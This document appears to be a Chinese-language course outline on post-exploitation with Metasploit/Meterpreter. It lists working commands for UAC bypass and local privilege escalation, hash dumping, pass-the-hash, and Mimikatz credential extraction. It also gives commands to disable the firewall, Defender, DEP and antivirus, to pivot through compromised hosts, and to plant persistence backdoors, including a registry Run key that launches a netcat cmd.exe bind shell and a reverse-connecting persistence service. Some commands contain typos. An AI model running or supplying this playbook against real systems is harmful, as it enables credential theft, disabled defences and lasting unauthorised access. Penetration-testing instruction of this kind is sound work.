后渗透阶段
-
课程概要
- 权限提升:权限提升的几种方式
- 提高程序运行级别
- msf模块
- exploit/windows/local/ask (用户弹窗,需要交互)
- msf模块
- UAC绕过 (无用户交互)
- msf模块
- exploit/windows/local/bypassuac
- exploit/windows/local/bypassuac_injection
- exploit/windows/local/bypassuac_vbs
- msf模块
- 利用提权漏洞进行提权
- msf模块
- exploit/windows/local/ms14_058_track_popup_menu
- exploit/windows/local/ms16_016_webdav
- msf模块
- 提高程序运行级别
- 信息收集:服务器信息、Hash、防火墙杀毒软件、账号密码
- msf模块
- 获取目标机器的分区情况:post/windows/gather/forensics/enum_drives
- 判断是否为虚拟机:post/windows/gather/checkvm
- 开启哪些服务:post/windows/gather/enum_services
- 安装了哪些应用:post/windows/gather/enum_applications
- 查看共享:post/windows/gather/enum_shares
- 获取主机最近的系统操作:post/windows/gather/dumplinks
- 查看补丁:post/windows/gather/enum_applications
- scraper脚本
- Winenum脚本
- msf模块
- 内网渗透:端口转发、代理跳板
- 后门植入:永久后门维持权限
- 权限提升:权限提升的几种方式
-
数据包捕获
- 抓包与解包
- 抓包
- 加载sniffer:load sniffer
- 查看网卡信息:sniffer_interface
- 开启监听:sniffer_start 1
- 导出数据包:sniffer_dump 1 1.cap
- 解包
- auxiliary/sniffer/psnuffle
- 抓包
- 抓包与解包
-
PassingTheHash
- Hash基础知识
- Windows系统下的hash密码格式为:
- 用户名称:RID:LM-HASH值:NT-HASH值
- Windows系统下的hash密码格式为:
- 获取Hash值
- Hashdump (需要system权限)
- Run post/windows/gather/smart_hashdump
- 检查权限和系统类型
- 检查是否是域控服务器
- 从注册表读取hash、注入LSASS进程
- 如果是08server并具有管理员权限,直接getsystem尝试提权
- 如果是win7且UAC关闭具有管理员权限,从注册表读取
- 03、XP直接getsystem,从注册表获取hash
- Hash破解
- 在线破解:cracker.offensive-security.com/cmd5.com
- 离线破解:findmyhash、L0phtCrack
- msf模块:auxiliary/analyze/jtr_crack_fast
- Hash传递
- Psexe:exploit/windows/smb/psexec
- Hash基础知识
-
关闭防火墙及杀毒软件
- 关闭防火墙
- Netsh advfirewall set allprofiles state off (管理员及以上权限)
- 关闭Denfender
- Net stop windefend
- 关闭DEP
- Bcdedit.exe /set {cyrrent} nx AlwaysOff
- 关闭杀毒软件
- Run killav
- Run post/windows/manage/killava
- 关闭防火墙
-
远程桌面
- 开启远程桌面
- run post/windows/manage/enable_rdp
- run getgui -e
- 开启远程桌面并添加一个新用户bean:
- run getgui -u bean -p ean
- 开启远程桌面并绑定在8888端口:
- run getgui -e -f 8888
- 截图
- load espia
- screengrab
- 开启远程桌面
-
令牌假冒
-
令牌假冒简介
- 假冒令牌可以假冒一个网络中的另一个用户进行各种操作。令牌包括登录会话的安全信息,如用户身份识别、用户组和用户权限。当一个用户登录Windows系统时,它被给定一个访问令牌作为它认证会话的一部分。例如,一个入侵用户可能需要以域管理员处理一个特定任务,当它使用令牌便可假冒域管理员进行工作。
-
Windows安全相关概念
- session
- windows station
- desktop
- login session:不同账号登录产生不同的登录session,代表不同的账号权限。
-
tokens简介
- 与进程相关联,进程创建时根据LoginSession分配对应Token,含有该进程用户账号、组信息、权限信息等
- 用户每次登录,产生LoginSession分配对应Token
- 访问资源时提交Token进行身份验证,类似于Web Cookiej
- Delegate Token:交互登录会话
- Impersonate Token:非交互登录会话
-
incognito
- 独立软件,被集成到ms的meterpreter中
- 不用获取账号密码窃取token将自己伪装成合法用户
- 适用于域环境下提权渗透多操作系统
-
-
跳板攻击
- Pivotiong
- 利用已经被入侵的主机作为跳板来攻击网络中的其他系统
- 访问由于路由问题而不能直接访问的内网系统
- 自动路由
- Run autoroute -s 192.168.102.0/24
- Run post/multi/manage/autoroute
- 利用win7攻击内网服务器
- 扫描内网网络:
- Run post/windows/gather/arp_scanner rhosts=192.168.102.0/24
- user auxiliary/scanner/portscan/tcp
- Pivotiong
-
ProxyChains代理设置
- Socket代理
- auxiliary/server/socks4a
- ProxyChains
- ProxyChains是为GNU\Linux操作系统而开发的工具,任何TCP连接都可以通过TOR或者SOCKS4, SOCKS5, HTTP / HTTPS路由到目的地。在这个通道技术中可以使用多个代理服务器。除此之外提供匿名方式,诸如用于中转跳板的应用程序也可以用于对发现的新网络进行直接通信。
- proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08- 067.nse 192.168.103.128
- Socket代理
-
Mimikatz
- Mimikatz介绍
- Mimikatz是一款后渗透测试工具。 它能够从Windows认证(L SASS)的进程中获取内存,并且获取明文密码和NTLM哈希值的工具。已被metasploit集成到meterpreter中作为一个脚本,允许方便地访问它一系列的特性,而不需要上传任何文件到目标机器上
- Mimikatz命令
- 导出Hash和认证信息:msv
- 导出Kerberos认证信息:Kerberos
- 获取本地用户信息及密码:wdigest
- Mimikatz_command -f samdump::hashes
- Mimikatz_command -f sekurlsa::searchPasswords
- Mimikatz_command -f handle::list
- Mimikatz_command -f service::list
- Mimikatz_command -f crypto::listProviders
- Mimikatz_command -f nogpo::cmd\
- Mimikatz介绍
-
后门植入
- 为什么要植入后门
- Meterpreter Shell运行于内存中,重启即失效
- 避免重复性的渗透工作
- 漏洞修复后仍旧可维持控制
- Meterpreter后门:Metsvc
- 通过服务启动
- Run metsvc -A #设定端口,上传后门文件
- Meterpreter后门:Persistence
- 通过启动型启动
- 特性:定期会连、系统启动时回连、自动运行
- Run persistence -A -S -U -i 60 -p 4321 -r 192.168.101.111
- NC后门
- 上传nc
- Upload/root/nc.exe C:\windows\system32
- 修改注册表
- 枚举注册表键值:
- reg enumkey -k HKLM\software\microsoft\windows\currentversion\run
- 在当前主键下增加一个nc键值:
- reg setval -k HKLM\software\ \microsoft\windows\currentversion|\run -V nc -d ‘C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe’
- 查看nc键值:
- reg queryval -k HKLM\softwarel\microsoft\windows\currentversion\Run -V nc
- 枚举注册表键值:
- 设置防火墙
- 开启一个cmd的通道
- Execute -f cmd -i -H
- 查看防火墙状态
- Netsh firewall show opmode
- 添加防火墙规则允许444端口通过
- netsh firewall add portopening TCR 445“Service Firewall" ENABLE
- 查看端口状态:Netsh firewall show portopening
- 开启一个cmd的通道
- 开始链接
- nc -v ip port
- 上传nc
- 为什么要植入后门
python -m SimpleHTTPServer 800 开启一个简单的http服务
session 查看session列表
session -i 4 利用第四个session
session -k 11 杀进程
getuid:获取用户名,组
hashdump: 获取hash
rdesktop -u root -p toor 192.168.101.170